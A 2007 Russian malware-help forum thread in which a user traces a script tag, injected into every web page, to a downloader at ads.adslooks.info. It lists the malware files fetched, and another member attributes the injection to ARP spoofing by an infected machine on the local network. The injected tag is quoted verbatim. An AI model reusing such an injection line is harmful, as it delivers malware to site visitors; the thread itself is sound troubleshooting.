Страница 1 из 2 12 Последняя
Показано с 1 по 20 из 32.

Trojan-Downloader.JS.Agent.agx (заявка № 14800)

  1. #1
    Junior Member Репутация
    Регистрация
    03.12.2007
    Сообщений
    15
    Вес репутации
    37

    Exclamation Trojan-Downloader.JS.Agent.agx

    Добрый день!
    В течении последних 3 дней, при открытии страниц, антивирус ругается:
    Вредоносный HTTP-объект <ads.adslooks.info/ads.js>: обнаружено: троянская программа 'Trojan-Downloader.JS.Agent.agx'
    Антивирус успешно блокирует скрипт.
    Ругается не постоянно, а периодически в течении дня. Соответственно коде страниц появляется вставка скрипта:
    Код:
     
    <SCRIPT LANGUAGE="javascript1.2" 
    SRC="http://ads.adslooks.info/ads.js"></SCRIPT>                     
    <html>
    <head>
    ...
    Длится это минут 10-20 потом прекращается на некоторое время.
    Страницы чистые 100%. наблюдалось на страницых яндекса, гугля и т.п.
    Зараженность компьютера тоже можно исключить на 90%, т.к. полная проверка антивирусом, с последними обновлениями, ничего не выявила. Также была произведена переустановка системы с полным форматированием. На чистую системы был установлен только антивирус. Ситуация не изменилась.
    Единственное оставшееся предположение, что вставка кода осуществляется на стороне провайдера.
    Собственно вопрос в том, так ли это и надо предъявлять претензии провайдеру или возможны еще варианты?

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Visiting Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для rubin
    Регистрация
    15.10.2007
    Адрес
    Казань
    Сообщений
    2,934
    Вес репутации
    542

  4. #3
    VIP Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    07.07.2005
    Адрес
    Moscow region
    Сообщений
    30,462
    Вес репутации
    2499
    Страничка эта Ваша? система ads.adslooks - банеры, которые крутятся на страничке.
    если страница не Ваша, то лучше на нее пока не ходить, и написать хостеру о вирусах на странице.

    Для этого раздела надо выполять Правила и прикреплять логи с компьютера, иначе разговора не получится.
    Павел
    AVZ HijackThis помощь с 10-00 до 18-00МСК

    Windows7, SEP(work)
    WindowsXP KIS(home)

    На up не реагирую

  5. #4
    Junior Member Репутация
    Регистрация
    03.12.2007
    Сообщений
    15
    Вес репутации
    37
    Страничка http://ads.adslooks.info не моя.
    Этот код <SCRIPT LANGUAGE="javascript1.2"
    SRC="http://ads.adslooks.info/ads.js"></SCRIPT> периодически вставляется в начало всех открываемых мной страниц.
    Прикрепить логи в данный момент не могу, так как пишу с рабочего компьютера, а описанная ситуация наблюдается на домашнем. Вечером постараюсь сделать все по инструкции.
    Меня вобщем интересовал вопрос, возможно ли что код вставляется где-то на пути от веб серверов до моего компьютера?

    Прошу прощения за сообщение не по правилам.

  6. #5
    VIP Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    07.07.2005
    Адрес
    Moscow region
    Сообщений
    30,462
    Вес репутации
    2499
    Через что выходишь из дома? Надо смотреть кеш прокси, скорее всего там зверье обосновалось.
    Павел
    AVZ HijackThis помощь с 10-00 до 18-00МСК

    Windows7, SEP(work)
    WindowsXP KIS(home)

    На up не реагирую

  7. #6
    Junior Member Репутация
    Регистрация
    03.12.2007
    Сообщений
    15
    Вес репутации
    37
    районная сеть, инет вроде без прокси... по крайней мере настроек прокси в эксплорере нет.
    Подобная ситуация по крайней мере еще у одного пользователя нашей сети. Он пытался обратится к админам сети, ответом было что-то типа "... кто-то сканирует сеть, поставьте файервол"
    Я конечно не очень разбираюсь в вопросе, но мне кажется админам вклиниться в трафик большого труда не составит, а вот чтоб какойто пользователь сети смог так запросто это сделать...
    Последний раз редактировалось bormok; 03.12.2007 в 12:17.

  8. #7
    VIP Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    07.07.2005
    Адрес
    Moscow region
    Сообщений
    30,462
    Вес репутации
    2499
    Ежели это появляется на всех открываемых страницах, то это вставляется или из заначек IE, либо из прокси.

    Попробуй почистить основательно временные файлы Инета, второй вариант попробовать поставить Firefox или Opera, что будет происходить с ними.
    Павел
    AVZ HijackThis помощь с 10-00 до 18-00МСК

    Windows7, SEP(work)
    WindowsXP KIS(home)

    На up не реагирую

  9. #8
    Junior Member Репутация
    Регистрация
    03.12.2007
    Сообщений
    15
    Вес репутации
    37
    Как я писал выше, я сделал форматирование диска, поставил заново систему и антивирь, но все равно появляется этот код...
    Сейчас поеду домой и сделаю еще проверку по инструкции.

  10. #9
    VIP Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    07.07.2005
    Адрес
    Moscow region
    Сообщений
    30,462
    Вес репутации
    2499
    Если появится вновь и на всех страницах, то это явно прет со стороны.
    Павел
    AVZ HijackThis помощь с 10-00 до 18-00МСК

    Windows7, SEP(work)
    WindowsXP KIS(home)

    На up не реагирую

  11. #10
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    26.12.2006
    Адрес
    Vladivostok
    Сообщений
    23,299
    Вес репутации
    1555
    И все-таки логи надо сделать!
    I am not young enough to know everything...

  12. #11
    Junior Member Репутация
    Регистрация
    03.12.2007
    Сообщений
    15
    Вес репутации
    37
    логи
    Вложения Вложения

  13. #12
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    10.01.2007
    Сообщений
    22,817
    Вес репутации
    1500
    явно зловредного ничего не вижу ..

  14. #13
    Junior Member Репутация
    Регистрация
    03.12.2007
    Сообщений
    15
    Вес репутации
    37
    Спасибо за помощь. Написал провайдеру, посмотрим что ответят...

    Добавлено через 2 часа 8 минут

    посмотрел в этот скрипт, судя по всему он грузит файлы:
    ads.c Exploit.Win32.IMG-ANI.ac
    ads.exe инфицирован Trojan-Downloader.Win32.Small.gkm
    1.gif - инфицирован Trojan-Downloader.JS.Agent.hl
    2.gif - инфицирован Trojan-Downloader.JS.Agent.ahx
    3.gif - инфицирован Trojan-Downloader.JS.Agent.acg
    4.gif - инфицирован Trojan-Downloader.JS.Agent.aee
    5.gif - инфицирован Trojan-Downloader.JS.Agent.ahy
    6.gif - инфицирован Exploit.Win32.Agent.bb

    в ads.exe еще видны ссылки на файлы:
    UNIS.bat
    \ S y s t e m R o o t \ s y s t e m 3 2 \ d r i v e r s \ u u i d . s y s
    \drivers\uuid.sys
    Последний раз редактировалось bormok; 05.12.2007 в 11:33. Причина: Добавлено

  15. #14
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    10.01.2007
    Сообщений
    22,817
    Вес репутации
    1500
    такой лог сделайте http://virusinfo.info/showthread.php?t=10387

  16. #15
    Junior Member Репутация
    Регистрация
    03.12.2007
    Сообщений
    15
    Вес репутации
    37
    сделал, только по первому пункту не до конца проходит
    кстати сегодня атак вроде небыло
    Вложения Вложения
    • Тип файла: rar LOG.rar (9.1 Кб, 5 просмотров)

  17. #16
    Junior Member Репутация
    Регистрация
    03.12.2007
    Сообщений
    15
    Вес репутации
    37
    рано радовался, пол часа назад опять была атака

  18. #17
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    10.01.2007
    Сообщений
    22,817
    Вес репутации
    1500
    что вам хостер ответил ?

  19. #18
    Junior Member Репутация
    Регистрация
    03.12.2007
    Сообщений
    15
    Вес репутации
    37
    на письмо ответа нет... на форуме провайдера пока начинается все с начала... проверьте антивирусом, переустановите винду и т.п.
    наконец-то нашел товарисчей по несчастью http://forum.kaspersky.com/index.php?showtopic=54300
    прям эпидемия масштаба города...

  20. #19
    Senior Helper Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    10.01.2007
    Сообщений
    22,817
    Вес репутации
    1500
    эпидемия масштаба города...
    что и требовалось доказать .... хостер

  21. #20
    Junior Member Репутация
    Регистрация
    03.12.2007
    Сообщений
    15
    Вес репутации
    37
    Сообщение в личку пришло от igz777
    Наткнулся на этот форум и обрадовался, что не один. Проблема с ads.adslooks.info, а до этого аналогичная с fly.1234214.info возникает, когда кто-нибудь в локалке цепляет вирус (пока не нашел какой, т.к. стоит глубокая ночь и хозяева зараженного компа спят). Этот комп подменяет в arp таблицах роутера и локальных компов мак-адреса на свой и спокойненько перехватывает трафик http и вставляет скрипт. При этом не важно через прокси или напрямую осуществляется выход в инет. Я просто заблокировал зараженый комп на рутере и перегрузил его (рутер). Все сразу излечилось.

    Зараза идет из Китая. Известны случаи в Норильске и Красноярске.

    P.S. Большая просьба выложить это на форум, а то у меня не хватает прав, а разбираться - вломы.

  • Уважаемый(ая) bormok, наши специалисты оказали Вам всю возможную помощь по вашему обращению.

    В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:

     

     

    Чтобы всегда быть в курсе актуальных угроз в области информационной безопасности и сохранять свой компьютер защищенным, рекомендуем следить за последними новостями ИТ-сферы портала Anti-Malware.ru:

     

     

    Anti-Malware VK

     

    Anti-Malware Telegram

     

     

    Надеемся больше никогда не увидеть ваш компьютер зараженным!

     

    Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.

  • Страница 1 из 2 12 Последняя

    Похожие темы

    1. Trojan-Downloader.SWF.Agent.ec
      От Trelp в разделе Описания вредоносных программ
      Ответов: 3
      Последнее сообщение: 17.08.2013, 12:49
    2. Trojan.Java.Agent.aw Trojan-Downloader.JS.DarDuk.cl
      От alex171 в разделе Помогите!
      Ответов: 2
      Последнее сообщение: 14.01.2012, 11:30
    3. Trojan-Downloader.JS.Agent.kd
      От freecorn в разделе Помогите!
      Ответов: 11
      Последнее сообщение: 22.02.2009, 04:56
    4. Trojan.Downloader.Agent.
      От blackswan в разделе Помогите!
      Ответов: 12
      Последнее сообщение: 22.02.2009, 01:40
    5. Trojan-Downloader.JS.Agent.cyo
      От kristia_ewik в разделе Помогите!
      Ответов: 1
      Последнее сообщение: 19.01.2009, 20:24

    Свернуть/Развернуть Ваши права в разделе

    • Вы не можете создавать новые темы
    • Вы не можете отвечать в темах
    • Вы не можете прикреплять вложения
    • Вы не можете редактировать свои сообщения
    •  
    Page generated in 0.00424 seconds with 17 queries